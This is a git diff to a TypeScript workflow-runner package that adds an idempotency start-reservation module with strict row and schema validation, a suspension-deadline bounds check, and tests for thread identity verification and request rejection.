diff --git a/packages/flowsafe/src/do-runner/start-reservation-contract.ts b/packages/flowsafe/src/do-runner/start-reservation-contract.ts
new file mode 100644
index 00000000..c69bb2f8
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/start-reservation-contract.ts
@@ -0,0 +1,525 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  EXECUTION_PRINCIPAL_KINDS,
+  type ExecutionPrincipalKind,
+  isExecutionPrincipalId,
+  isExecutionPrincipalKind,
+} from '../approval-api/principal-identity.js';
+import {
+  InvalidExecutionIdentityError,
+  normalizeRunExecutionIdentity,
+  normalizeStartIdentity,
+  type RunExecutionIdentity,
+} from './execution-admission.js';
+import { isPathSafeId } from './path-safe-id.js';
+
+export const START_RESERVATION_STATES = [
+  'reserved',
+  'started',
+  'terminal',
+] as const;
+
+/**
+ * Where a reservation is in its life:
+ *
+ *   reserved  the key means this runId, and nobody has started it yet
+ *   started   one caller won the claim and is (or was) executing
+ *   terminal  the run reached a terminal state; the key is spent
+ *
+ * States move forward except for an exact, unbound claim released after local
+ * preflight or definitive no-insert evidence proves no execution was admitted.
+ */
+export type StartReservationState = (typeof START_RESERVATION_STATES)[number];
+
+export const START_TARGET_KINDS = ['workflow', 'agent'] as const;
+
+/** Which execution family a key names — a workflow run, or an agent run. */
+export type StartTargetKind = (typeof START_TARGET_KINDS)[number];
+
+/**
+ * WHO a key belongs to. An execution principal, projected to the same two
+ * fields `ResourceOwner` carries, and for the same reason: a key is a
+ * capability to converge on somebody's run, so it must be scoped to whoever
+ * created it and unforgeable from tenant traffic.
+ */
+export interface StartReservationOwner {
+  readonly kind: ExecutionPrincipalKind;
+  readonly id: string;
+}
+
+/** One reservation row, as every surface reads it. */
+export interface StartReservation {
+  readonly key: string;
+  readonly owner: StartReservationOwner;
+  readonly targetKind: StartTargetKind;
+  readonly targetId: string;
+  readonly runId: string;
+  /**
+   * The agent run's thread, when the target is an agent. It is the run's
+   * ADDRESS: a workflow run is reachable from (workflowId, runId) alone, but an
+   * agent run lives in a thread object and a retry that minted a fresh thread
+   * would otherwise have no way back to the original. Absent for workflows,
+   * where storing a derivable address would be a second source of truth.
+   */
+  readonly threadId?: string;
+  readonly state: StartReservationState;
+  /**
+   * Epoch ms of the reserve that created this row. Provenance only: the purge
+   * horizon is measured from `updatedAt`, so that a key's validity runs from
+   * the moment it was SPENT rather than from the moment it was first used —
+   * a long run must not age its own reservation out while it is still running.
+   */
+  readonly createdAt: number;
+  /**
+   * Epoch ms of the last state change — `pendingSince` on a live claim, and the
+   * column the purge horizon is measured from once the row is terminal.
+   */
+  readonly updatedAt: number;
+  readonly binding?: StartReservationBinding;
+}
+
+export type StartReservationBinding =
+  | { readonly kind: 'legacy' }
+  | { readonly kind: 'unbound' }
+  | { readonly kind: 'bound'; readonly execution: RunExecutionIdentity };
+
+export interface StartReservationReading extends StartReservation {
+  readonly binding: StartReservationBinding;
+}
+
+function record(value: unknown): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value))
+    throw new InvalidExecutionIdentityError('admission');
+  return value as Record<string, unknown>;
+}
+
+export function captureReservation(
+  value: StartReservationReading,
+  expectedState: 'reserved' | 'started' | 'nonterminal',
+): StartReservationReading {
+  const {
+    key,
+    owner,
+    targetKind,
+    targetId,
+    runId,
+    threadId,
+    state,
+    createdAt,
+    updatedAt,
+    binding,
+  } = record(value);
+  const identity = normalizeStartIdentity({
+    owner,
+    target: { kind: targetKind, id: targetId, threadId },
+  });
+  if (
+    record(binding).kind !== 'unbound' ||
+    (state !== 'reserved' && state !== 'started') ||
+    (expectedState !== 'nonterminal' && state !== expectedState) ||
+    !isPathSafeId(key) ||
+    !isPathSafeId(runId) ||
+    typeof createdAt !== 'number' ||
+    !Number.isFinite(createdAt) ||
+    typeof updatedAt !== 'number' ||
+    !Number.isFinite(updatedAt)
+  )
+    throw new InvalidExecutionIdentityError('admission');
+  return Object.freeze({
+    key,
+    runId,
+    owner: identity.owner,
+    targetKind: identity.target.kind,
+    targetId: identity.target.id,
+    ...(identity.target.kind === 'agent'
+      ? { threadId: identity.target.threadId }
+      : {}),
+    state,
+    createdAt,
+    updatedAt,
+    binding: Object.freeze({ kind: 'unbound' as const }),
+  });
+}
+
+export function sameReservationIdentity(
+  actual: StartReservationReading,
+  expected: StartReservationReading,
+): boolean {
+  return (
+    actual.key === expected.key &&
+    actual.runId === expected.runId &&
+    actual.owner.kind === expected.owner.kind &&
+    actual.owner.id === expected.owner.id &&
+    actual.targetKind === expected.targetKind &&
+    actual.targetId === expected.targetId &&
+    actual.threadId === expected.threadId &&
+    actual.createdAt === expected.createdAt
+  );
+}
+
+export const START_IDEMPOTENCY_TABLE = 'flowsafe_start_idempotency';
+
+const STATE_CHECK = START_RESERVATION_STATES.map((state) => `'${state}'`).join(
+  ', ',
+);
+const TARGET_CHECK = START_TARGET_KINDS.map((kind) => `'${kind}'`).join(', ');
+/**
+ * Built from the principal vocabulary rather than hand-written, so a kind added
+ * to `EXECUTION_PRINCIPAL_KINDS` cannot leave this constraint behind. The
+ * failure a stale literal would cause is not a compile error and not a rejected
+ * write on an existing deployment: `CREATE TABLE IF NOT EXISTS` is a no-op
+ * against a table that already exists, so the drift would show up only as an
+ * INSERT refused on whichever database happened to be created after the new
+ * kind shipped.
+ */
+const OWNER_KIND_CHECK = EXECUTION_PRINCIPAL_KINDS.map(
+  (kind) => `'${kind}'`,
+).join(', ');
+
+const START_IDEMPOTENCY_BASE_COLUMNS = `
+    key TEXT PRIMARY KEY,
+    owner_kind TEXT NOT NULL CHECK (owner_kind IN (${OWNER_KIND_CHECK})),
+    owner_id TEXT NOT NULL,
+    target_kind TEXT NOT NULL CHECK (target_kind IN (${TARGET_CHECK})),
+    target_id TEXT NOT NULL,
+    run_id TEXT NOT NULL,
+    thread_id TEXT,
+    state TEXT NOT NULL CHECK (state IN (${STATE_CHECK})),
+    created_at INTEGER NOT NULL,
+    updated_at INTEGER NOT NULL`;
+export const START_IDEMPOTENCY_ADDITIONS = [
+  'start_token TEXT',
+  'start_table_prefix TEXT',
+  'start_workflow_id TEXT',
+] as const;
+export const START_IDEMPOTENCY_COLUMNS = [
+  ['key', 'TEXT', 0, 1],
+  ['owner_kind', 'TEXT', 1, 0],
+  ['owner_id', 'TEXT', 1, 0],
+  ['target_kind', 'TEXT', 1, 0],
+  ['target_id', 'TEXT', 1, 0],
+  ['run_id', 'TEXT', 1, 0],
+  ['thread_id', 'TEXT', 0, 0],
+  ['state', 'TEXT', 1, 0],
+  ['created_at', 'INTEGER', 1, 0],
+  ['updated_at', 'INTEGER', 1, 0],
+  ['start_token', 'TEXT', 0, 0],
+  ['start_table_prefix', 'TEXT', 0, 0],
+  ['start_workflow_id', 'TEXT', 0, 0],
+] as const;
+export type StartReservationSchemaStage = 0 | 1 | 2 | 3;
+
+export const START_IDEMPOTENCY_DDL = `CREATE TABLE IF NOT EXISTS ${START_IDEMPOTENCY_TABLE} (${START_IDEMPOTENCY_BASE_COLUMNS},
+    ${START_IDEMPOTENCY_ADDITIONS.join(',\n    ')}
+  )`;
+
+/**
+ * `run_id` is how the RUNTIME finds a reservation (terminal reconcile knows the
+ * run, never the key) and how the purge pairs a reservation with the snapshot
+ * it outlived. Without the index both degrade to a table scan on every terminal
+ * run.
+ */
+export const START_IDEMPOTENCY_RUN_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_run
+    ON ${START_IDEMPOTENCY_TABLE} (run_id)`;
+
+/** The purge's own access path: terminal rows past the key-validity horizon. */
+export const START_IDEMPOTENCY_STATE_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_state
+    ON ${START_IDEMPOTENCY_TABLE} (state, updated_at)`;
+
+export type StartReservationRow = Readonly<Record<string, unknown>>;
+
+export class ReservationSchemaError extends Error {
+  constructor(reason: string) {
+    super(
+      `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (${reason})`,
+    );
+    this.name = 'ReservationSchemaError';
+  }
+}
+
+export function reservationResultRows(result: unknown): StartReservationRow[] {
+  if (
+    result === null ||
+    typeof result !== 'object' ||
+    ('success' in result && result.success !== true) ||
+    !('results' in result)
+  ) {
+    throw new Error('reservation statement returned an invalid result');
+  }
+  const rows: unknown = result.results;
+  if (!Array.isArray(rows))
+    throw new Error('reservation statement returned an invalid result');
+  const length = rows.length;
+  if (!Number.isSafeInteger(length) || length < 0)
+    throw new Error('reservation statement returned an invalid result');
+  return Array.from({ length }, (_, index) => {
+    if (!Object.hasOwn(rows, index))
+      throw new Error('reservation statement returned an invalid row');
+    const row = rows[index];
+    if (row === null || typeof row !== 'object' || Array.isArray(row)) {
+      throw new Error('reservation statement returned an invalid row');
+    }
+    return row;
+  });
+}
+
+function reservationBinding(
+  row: StartReservationRow,
+  schemaStage: StartReservationSchemaStage,
+): StartReservationBinding {
+  let stage = 0;
+  let missing = false;
+  for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10)) {
+    if (Object.hasOwn(row, name)) {
+      if (missing)
+        throw new ReservationSchemaError('binding prefix has a hole');
+      stage += 1;
+    } else missing = true;
+  }
+  if (stage > schemaStage)
+    throw new ReservationSchemaError('schema observation precedes row binding');
+  if (stage < 3) {
+    for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10, 10 + stage)) {
+      if (row[name] !== null)
+        throw new ReservationSchemaError(
+          'partial binding is not legacy defaults',
+        );
+    }
+    return { kind: 'legacy' };
+  }
+  const {
+    start_token: token,
+    start_table_prefix: prefix,
+    start_workflow_id: workflowId,
+  } = row;
+  if (prefix === null && workflowId === null) {
+    if (token === null) return { kind: 'legacy' };
+    if (token === '') return { kind: 'unbound' };
+  }
+  const execution = normalizeRunExecutionIdentity({
+    tablePrefix: prefix,
+    workflowId,
+    runId: row.run_id,
+    startToken: token,
+  });
+  if (execution.tablePrefix !== prefix)
+    throw new ReservationSchemaError('binding prefix is not canonical');
+  normalizeStartIdentity({
+    owner: { kind: row.owner_kind, id: row.owner_id },
+    target: {
+      kind: row.target_kind,
+      id: row.target_id,
+      ...(row.thread_id === null ? {} : { threadId: row.thread_id }),
+    },
+  });
+  return { kind: 'bound', execution };
+}
+
+function isStartReservationState(
+  value: unknown,
+): value is StartReservationState {
+  return (
+    typeof value === 'string' &&
+    (START_RESERVATION_STATES as readonly string[]).includes(value)
+  );
+}
+
+export function isStartTargetKind(value: unknown): value is StartTargetKind {
+  return (
+    typeof value === 'string' &&
+    (START_TARGET_KINDS as readonly string[]).includes(value)
+  );
+}
+
+function isEpochMs(value: unknown): value is number {
+  return typeof value === 'number' && Number.isFinite(value);
+}
+
+/**
+ * Treating malformed rows as absent could start another run.
+ * Coercing corrupt timestamps can expire a spent key and admit it again.
+ */
+export function reservationFromRow(
+  row: StartReservationRow,
+  schemaStage: StartReservationSchemaStage,
+): StartReservationReading {
+  for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(0, 10)) {
+    if (!Object.hasOwn(row, name))
+      throw new ReservationSchemaError(`row is missing ${name}`);
+  }
+  const {
+    key,
+    owner_kind: ownerKind,
+    owner_id: ownerId,
+    target_kind: targetKind,
+    target_id: targetId,
+    run_id: runId,
+    thread_id: threadId,
+    state,
+    created_at: createdAt,
+    updated_at: updatedAt,
+  } = row;
+  if (
+    typeof key !== 'string' ||
+    !isExecutionPrincipalKind(ownerKind) ||
+    !isExecutionPrincipalId(ownerId) ||
+    !isStartTargetKind(targetKind) ||
+    typeof targetId !== 'string' ||
+    !isPathSafeId(runId) ||
+    !isStartReservationState(state) ||
+    !isEpochMs(createdAt) ||
+    !isEpochMs(updatedAt)
+  ) {
+    throw new Error('start reservation row is malformed');
+  }
+  return {
+    key,
+    owner: { kind: ownerKind, id: ownerId },
+    targetKind,
+    targetId,
+    runId,
+    ...(isPathSafeId(threadId) ? { threadId } : {}),
+    state,
+    createdAt,
+    updatedAt,
+    binding: reservationBinding(row, schemaStage),
+  };
+}
+
+export function admissionReservationFromRow(
+  row: StartReservationRow,
+  stage: StartReservationSchemaStage,
+): StartReservationReading {
+  if (stage !== 3)
+    throw new ReservationSchemaError('admission requires current schema');
+  const captured: Record<string, unknown> = {};
+  for (const [name] of START_IDEMPOTENCY_COLUMNS) {
+    if (!Object.hasOwn(row, name))
+      throw new ReservationSchemaError(`row is missing ${name}`);
+    captured[name] = row[name];
+  }
+  if (!isPathSafeId(captured.key))
+    throw new ReservationSchemaError('admission key is invalid');
+  if (!isPathSafeId(captured.run_id))
+    throw new ReservationSchemaError('admission run id is invalid');
+  if (!isPathSafeId(captured.target_id))
+    throw new ReservationSchemaError('admission target id is invalid');
+  if (captured.target_kind === 'workflow' && captured.thread_id !== null)
+    throw new ReservationSchemaError('admission workflow thread must be null');
+  if (captured.target_kind === 'agent' && !isPathSafeId(captured.thread_id))
+    throw new ReservationSchemaError('admission agent thread is invalid');
+  normalizeStartIdentity({
+    owner: { kind: captured.owner_kind, id: captured.owner_id },
+    target: {
+      kind: captured.target_kind,
+      id: captured.target_id,
+      ...(captured.thread_id === null ? {} : { threadId: captured.thread_id }),
+    },
+  });
+  const reservation = reservationFromRow(captured, stage);
+  return Object.freeze({
+    ...reservation,
+    owner: Object.freeze(reservation.owner),
+    binding: Object.freeze(reservation.binding),
+  });
+}
+
+/** @internal Decode current-stage data before compatible thread normalization. */
+export function decodeStartReservationAdmissionResult(
+  result: unknown,
+): StartReservationReading | undefined {
+  const rows = reservationResultRows(result);
+  if (rows.length > 1)
+    throw new ReservationSchemaError('admission returned multiple rows');
+  return rows[0] === undefined
+    ? undefined
+    : admissionReservationFromRow(rows[0], 3);
+}
+
+export function reservationSchemaStage(
+  result: unknown,
+): StartReservationSchemaStage | undefined {
+  const columns = reservationResultRows(result);
+  if (columns.length === 0) return undefined;
+  if (columns.length < 10 || columns.length > START_IDEMPOTENCY_COLUMNS.length)
+    throw new ReservationSchemaError('unexpected columns');
+  for (const [index, actual] of columns.entries()) {
+    const expected = START_IDEMPOTENCY_COLUMNS[index];
+    if (expected === undefined)
+      throw new ReservationSchemaError('unexpected columns');
+    const [name, type, notnull, pk] = expected;
+    if (
+      actual.name !== name ||
+      actual.type !== type ||
+      actual.notnull !== notnull ||
+      actual.pk !== pk ||
+      actual.dflt_value !== null ||
+      actual.hidden !== 0
+    )
+      throw new ReservationSchemaError(`column ${name} differs`);
+  }
+  return (columns.length - 10) as StartReservationSchemaStage;
+}
+
+/** @internal Validate already-observed PRAGMA data without another query. */
+export function validateStartReservationAdmissionSchema(result: unknown): void {
+  if (reservationSchemaStage(result) !== 3)
+    throw new ReservationSchemaError('admission requires current schema');
+}
+
+export function captureBoundReservation(
+  value: StartReservationReading,
+): StartReservationReading {
+  const {
+    key,
+    owner,
+    targetKind,
+    targetId,
+    runId,
+    threadId,
+    state,
+    createdAt,
+    updatedAt,
+    binding,
+  } = record(value);
+  const bound = record(binding);
+  if (bound.kind !== 'bound')
+    throw new InvalidExecutionIdentityError('admission');
+  const {
+    tablePrefix,
+    workflowId,
+    runId: physicalRunId,
+    startToken,
+  } = record(bound.execution);
+  const execution = normalizeRunExecutionIdentity({
+    tablePrefix,
+    workflowId,
+    runId: physicalRunId,
+    startToken,
+  });
+  if (execution.tablePrefix !== tablePrefix || execution.runId !== runId)
+    throw new InvalidExecutionIdentityError('admission');
+  const identity = normalizeStartIdentity({
+    owner,
+    target: { kind: targetKind, id: targetId, threadId },
+  });
+  return admissionReservationFromRow(
+    {
+      key,
+      owner_kind: identity.owner.kind,
+      owner_id: identity.owner.id,
+      target_kind: identity.target.kind,
+      target_id: identity.target.id,
+      run_id: runId,
+      thread_id: threadId ?? null,
+      state,
+      created_at: createdAt,
+      updated_at: updatedAt,
+      start_token: execution.startToken,
+      start_table_prefix: execution.tablePrefix,
+      start_workflow_id: execution.workflowId,
+    },
+    3,
+  );
+}
diff --git a/packages/flowsafe/src/do-runner/suspension-deadline.test.ts b/packages/flowsafe/src/do-runner/suspension-deadline.test.ts
index 16138f00..075a317d 100644
--- a/packages/flowsafe/src/do-runner/suspension-deadline.test.ts
+++ b/packages/flowsafe/src/do-runner/suspension-deadline.test.ts
@@ -4,6 +4,7 @@ import { describe, expect, it } from 'vitest';
 import type { RunSummary } from './runtime.js';
 import {
   dueSuspensionDeadline,
+  isArmableSuspensionDeadlineMs,
   isReadableRunSummary,
   isSuspensionTimeoutResumeData,
   MASTRA_WORKFLOW_META_KEY,
@@ -78,6 +79,53 @@ function storedRecord(
   return { version: 1, workflowId: 'gated', runId: 'run-1', entries };
 }
 
+describe('isArmableSuspensionDeadlineMs', () => {
+  it('retains the public duration bounds', () => {
+    expect(MIN_SUSPENSION_DEADLINE_MS).toBe(1_000);
+    expect(MAX_SUSPENSION_DEADLINE_MS).toBe(31_536_000_000);
+  });
+
+  it.each([
+    ['minimum', 1_000, true],
+    ['within range', 900_000, true],
+    ['maximum', 31_536_000_000, true],
+    ['below minimum', 999, false],
+    ['above maximum', 31_536_000_001, false],
+    ['zero', 0, false],
+    ['negative', -1_000, false],
+    ['fractional', 1_500.5, false],
+    ['unsafe integer', Number.MAX_SAFE_INTEGER + 1, false],
+    ['NaN', Number.NaN, false],
+    ['infinity', Number.POSITIVE_INFINITY, false],
+    ['negative infinity', Number.NEGATIVE_INFINITY, false],
+    ['string', '1000', false],
+    ['boolean', true, false],
+    ['null', null, false],
+    ['undefined', undefined, false],
+    ['object', { valueOf: () => 1_000 }, false],
+    ['array', [1_000], false],
+    ['bigint', 1_000n, false],
+    ['symbol', Symbol('deadline'), false],
+  ])('agrees with arming for %s', (_label, value, accepted) => {
+    expect(isArmableSuspensionDeadlineMs(value)).toBe(accepted);
+    expect(suspensionDeadlinesOf(armedSummary(value)).entries.length > 0).toBe(
+      accepted,
+    );
+  });
+
+  it('preserves distinct integer and range rejection reasons', () => {
+    expect(suspensionDeadlinesOf(armedSummary(1_500.5)).rejected).toEqual([
+      { step: 'gate', reason: 'flowsafe.deadlineMs must be a safe integer' },
+    ]);
+    expect(suspensionDeadlinesOf(armedSummary(999)).rejected).toEqual([
+      {
+        step: 'gate',
+        reason: 'flowsafe.deadlineMs must be between 1000 and 31536000000 ms',
+      },
+    ]);
+  });
+});
+
 describe('suspensionDeadlinesOf', () => {
   it('arms nothing for a run that is not suspended', () => {
     expect(
@@ -921,6 +969,21 @@ describe('isReadableRunSummary', () => {
 });
 
 describe('suspension timeout resume data', () => {
+  it('accepts a test fixture without suspension fences or retry state', () => {
+    const data = suspensionTimeoutResumeData(
+      { step: 'gate', deadlineAt: 1_751_883_300_000 },
+      1_751_883_300_123,
+    );
+    expect(data).toEqual({
+      'flowsafe.suspensionTimeout': {
+        step: 'gate',
+        deadlineAt: 1_751_883_300_000,
+        expiredAt: 1_751_883_300_123,
+      },
+    });
+    expect(isSuspensionTimeoutResumeData(data)).toBe(true);
+  });
+
   it('wraps the expired entry under the reserved key', () => {
     const entry: SuspensionDeadlineEntry = {
       step: 'gate',
diff --git a/packages/flowsafe/src/do-runner/suspension-deadline.ts b/packages/flowsafe/src/do-runner/suspension-deadline.ts
index 33534ee0..bc806d74 100644
--- a/packages/flowsafe/src/do-runner/suspension-deadline.ts
+++ b/packages/flowsafe/src/do-runner/suspension-deadline.ts
@@ -48,6 +48,15 @@ export const MIN_SUSPENSION_DEADLINE_MS = 1_000;
 /** Longest armable deadline (365 days), so week-scale waits still fit. */
 export const MAX_SUSPENSION_DEADLINE_MS = 31_536_000_000;
 
+/** Checks the duration accepted by suspension deadline arming. */
+export function isArmableSuspensionDeadlineMs(value: unknown): value is number {
+  return (
+    Number.isSafeInteger(value) &&
+    (value as number) >= MIN_SUSPENSION_DEADLINE_MS &&
+    (value as number) <= MAX_SUSPENSION_DEADLINE_MS
+  );
+}
+
 /** Per-run entry cap; a run cannot grow its object's storage without bound. */
 export const MAX_SUSPENSION_DEADLINES_PER_RUN = 32;
 
@@ -338,10 +347,7 @@ export function suspensionDeadlinesOf(summary: RunSummary): {
       });
       continue;
     }
-    if (
-      (deadlineMs as number) < MIN_SUSPENSION_DEADLINE_MS ||
-      (deadlineMs as number) > MAX_SUSPENSION_DEADLINE_MS
-    ) {
+    if (!isArmableSuspensionDeadlineMs(deadlineMs)) {
       rejected.push({
         step,
         reason: `${SUSPENSION_DEADLINE_PAYLOAD_KEY} must be between ${MIN_SUSPENSION_DEADLINE_MS} and ${MAX_SUSPENSION_DEADLINE_MS} ms`,
@@ -435,16 +441,7 @@ export function parseSuspensionDeadlineRecord(
   };
 }
 
-/**
- * A spent entry, kept for the suspension it was armed against: the ledger at
- * the budget, and every field that only means something while it is still
- * being retried — the backoff floor, the unreadable-state clock — dropped,
- * because a tombstone is never selected, never armed and never read again.
- * Lives beside its two recognizers, `abandoned()` and `storedEntry`'s ledger
- * rule, so the shape they accept and the shape written here cannot drift.
- * Exported from this module for the run object that writes it; deliberately
- * NOT from the package barrel, which exposes no part of the stored record.
- */
+/** Retains the suspension fence so reconciliation cannot give it a fresh retry budget. */
 export function tombstoned(
   entry: SuspensionDeadlineEntry,
 ): SuspensionDeadlineEntry {
@@ -511,7 +508,7 @@ export function dueSuspensionDeadline(
 
 /** The resume data a timeout resume delivers to the expired step. */
 export function suspensionTimeoutResumeData(
-  entry: SuspensionDeadlineEntry,
+  entry: Pick<SuspensionDeadlineEntry, 'step' | 'deadlineAt'>,
   expiredAt: number,
 ): SuspensionTimeoutResumeData {
   return {
diff --git a/packages/flowsafe/src/do-runner/table-prefix.ts b/packages/flowsafe/src/do-runner/table-prefix.ts
index e318b775..c2455c04 100644
--- a/packages/flowsafe/src/do-runner/table-prefix.ts
+++ b/packages/flowsafe/src/do-runner/table-prefix.ts
@@ -12,7 +12,10 @@ export function validateTablePrefix(
   value: string | undefined,
   fieldName = 'tablePrefix',
 ): string | undefined {
-  if (value !== undefined && !TABLE_PREFIX_PATTERN.test(value)) {
+  if (
+    value !== undefined &&
+    (typeof value !== 'string' || !TABLE_PREFIX_PATTERN.test(value))
+  ) {
     throw new Error(
       `Invalid ${fieldName}: use an empty prefix or start with a letter or underscore and continue with letters, numbers, or underscores.`,
     );
diff --git a/packages/flowsafe/src/do-runner/testing.ts b/packages/flowsafe/src/do-runner/testing.ts
new file mode 100644
index 00000000..faa50294
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/testing.ts
@@ -0,0 +1,7 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export type {
+  SuspensionTimeoutEnvelope,
+  SuspensionTimeoutResumeData,
+} from './suspension-deadline.js';
+export { suspensionTimeoutResumeData } from './suspension-deadline.js';
diff --git a/packages/flowsafe/src/do-runner/thread-do.test.ts b/packages/flowsafe/src/do-runner/thread-do.test.ts
index 33ea61b6..db7fade5 100644
--- a/packages/flowsafe/src/do-runner/thread-do.test.ts
+++ b/packages/flowsafe/src/do-runner/thread-do.test.ts
@@ -9,6 +9,7 @@ import {
   TEST_DEPLOYMENT_IDENTITY_SECRET,
 } from '../../test-support/deployment-identity.js';
 import { encodeExecutionPrincipal } from '../approval-api/index.js';
+import { MUTATION_EPOCH_HEADER } from './execution-admission.js';
 import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js';
 import { type InitResult, init } from './init.js';
 import { RunStateUnreadableError } from './runtime.js';
@@ -16,6 +17,12 @@ import { ThreadDurableObject, type ThreadScope } from './thread-do.js';
 
 class TestThread extends ThreadDurableObject {
   builds = 0;
+  scopes: ThreadScope[] = [];
+  alarmScopes: Array<{
+    threadId: string;
+    init: InitResult;
+    deploymentTag?: string;
+  }> = [];
   events?: string[];
   buildError?: Error;
   alarmError?: Error;
@@ -31,6 +38,7 @@ class TestThread extends ThreadDurableObject {
   }
 
   protected route(_request: Request, scope: ThreadScope): Promise<Response> {
+    this.scopes.push(scope);
     return Promise.resolve(
       Response.json({
         threadId: scope.threadId,
@@ -40,7 +48,13 @@ class TestThread extends ThreadDurableObject {
     );
   }
 
-  protected async onAlarm(): Promise<void> {
+  protected async onAlarm(
+    _env: unknown,
+    threadId: string,
+    initResult: InitResult,
+    deploymentTag?: string,
+  ): Promise<void> {
+    this.alarmScopes.push({ threadId, init: initResult, deploymentTag });
     this.events?.push('onAlarm');
     if (this.alarmError) throw this.alarmError;
   }
@@ -113,7 +127,217 @@ function request(
   );
 }
 
+function cDeferred() {
+  let resolve = () => {};
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+describe('FS8 D3 host activation', () => {
+  it.each([
+    'replacement',
+    undefined,
+  ])('passes the verified alarm tag after the environment changes to %s', async (replacement) => {
+    const entered = cDeferred();
+    const release = cDeferred();
+    const identity = deploymentIdentityDatabase();
+    const setAlarm = vi.fn(async () => {});
+    const env = {
+      DEPLOYMENT_TENANT: 'acme' as string | undefined,
+      DEPLOYMENT_IDENTITY_SECRET: TEST_DEPLOYMENT_IDENTITY_SECRET,
+      DB: {
+        prepare(query: string) {
+          const statement = identity.prepare(query);
+          return {
+            ...statement,
+            async all<T>() {
+              const result = await statement.all<T>();
+              entered.resolve();
+              await release.promise;
+              return result;
+            },
+          };
+        },
+      },
+    };
+    const thread = new TestThread(
+      {
+        id: { name: 'thread-alarm' },
+        storage: { setAlarm },
+      } as unknown as DurableObjectState,
+      env,
+    );
+    const pending = thread.alarm();
+    try {
+      await entered.promise;
+      expect(thread.builds).toBe(0);
+      expect(thread.alarmScopes).toEqual([]);
+      expect(setAlarm).toHaveBeenCalledOnce();
+      env.DEPLOYMENT_TENANT = replacement;
+    } finally {
+      release.resolve();
+      await pending;
+    }
+    expect(thread.builds).toBe(1);
+    expect(thread.alarmScopes).toHaveLength(1);
+    expect(thread.alarmScopes[0]).toMatchObject({
+      threadId: 'thread-alarm',
+      deploymentTag: 'acme',
+    });
+    expect(thread.alarmScopes[0]?.init.runtime).toBeDefined();
+    expect(setAlarm).toHaveBeenCalledOnce();
+  });
+});
+
 describe('ThreadDurableObject identity boundary', () => {
+  it.each([
+    undefined,
+    0,
+    2,
+    Number.MAX_SAFE_INTEGER,
+  ])('C captures thread headers before deployment verification: %s', async (epoch) => {
+    const entered = cDeferred();
+    const release = cDeferred();
+    const identity = deploymentIdentityDatabase();
+    const thread = new TestThread(
+      {
+        id: { name: 'thread-1' },
+        storage: {},
+      } as unknown as DurableObjectState,
+      {
+        DEPLOYMENT_TENANT: 'acme',
+        DEPLOYMENT_IDENTITY_SECRET: TEST_DEPLOYMENT_IDENTITY_SECRET,
+        DB: {
+          prepare(query: string) {
+            const statement = identity.prepare(query);
+            return {
+              ...statement,
+              async all<T>() {
+                const result = await statement.all<T>();
+                entered.resolve();
+                await release.promise;
+                return result;
+              },
+            };
+          },
+        },
+      },
+    );
+    const input = request();
+    if (epoch !== undefined)
+      input.headers.set(MUTATION_EPOCH_HEADER, String(epoch));
+    const pending = thread.fetch(input);
+    try {
+      await entered.promise;
+      expect(thread.builds).toBe(0);
+      expect(thread.scopes).toEqual([]);
+      input.headers.set(
+        EXECUTION_PRINCIPAL_HEADER,
+        encodeExecutionPrincipal({
+          kind: 'service',
+          id: 'replacement',
+          purpose: 'replacement start',
+        }),
+      );
+      input.headers.set(MUTATION_EPOCH_HEADER, '3');
+    } finally {
+      release.resolve();
+      await pending;
+    }
+    expect((await pending).status).toBe(200);
+    expect(thread.scopes).toHaveLength(1);
+    const scope = thread.scopes[0];
+    expect(scope).toMatchObject({
+      threadId: 'thread-1',
+      deploymentTag: 'acme',
+      principal: { kind: 'human', id: 'operator', role: 'operator' },
+    });
+    expect(scope?.mutationEpoch).toBe(epoch);
+    expect(Object.isFrozen(scope)).toBe(true);
+    expect(Object.isFrozen(scope?.init)).toBe(false);
+    expect(Object.isFrozen(scope?.init.runtime)).toBe(false);
+    expect(Object.isFrozen(input)).toBe(false);
+  });
+
+  it.each([
+    [
+      'credential',
+      'thread/invalid',
+      false,
+      'acme',
+      'wrong-secret',
+      503,
+      'credential',
+    ],
+    [
+      'deployment',
+      'thread/invalid',
+      false,
+      'globex',
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      503,
+      "belongs to 'globex'",
+    ],
+    [
+      'object',
+      'thread/invalid',
+      false,
+      'acme',
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      403,
+      'path-safe id.name',
+    ],
+    [
+      'missing principal',
+      'thread-1',
+      false,
+      'acme',
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      403,
+      'no trusted execution principal',
+    ],
+    [
+      'invalid principal',
+      'thread-1',
+      'malformed',
+      'acme',
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      403,
+      'invalid execution principal',
+    ],
+    [
+      'epoch',
+      'thread-1',
+      true,
+      'acme',
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+      400,
+      'mutationEpoch must be a nonnegative safe integer or undefined',
+    ],
+  ] as const)('C thread ingress preserves combined-invalid precedence: %s', async (_label, name, principal, storedTag, secret, status, message) => {
+    const events: string[] = [];
+    const thread = threadWith(name, { storedTag, events });
+    const input = request(principal === true, secret);
+    if (principal === 'malformed')
+      input.headers.set(EXECUTION_PRINCIPAL_HEADER, 'malformed');
+    input.headers.set(MUTATION_EPOCH_HEADER, '01');
+    const response = await thread.fetch(input);
+    expect(response.status).toBe(status);
+    const body = (await response.json()) as { error: string; reason?: unknown };
+    expect(body.error).toContain(message);
+    if (status === 400)
+      expect(body).toEqual({
+        error: message,
+        reason: { code: 'INVALID_MUTATION_EPOCH' },
+      });
+    expect(thread.builds).toBe(0);
+    expect(thread.scopes).toEqual([]);
+    expect(events).not.toContain('setAlarm');
+    if (_label === 'credential') expect(events).toEqual([]);
+  });
+
   it('validates its local name before pre-arming alarm storage', async () => {
     const events: string[] = [];
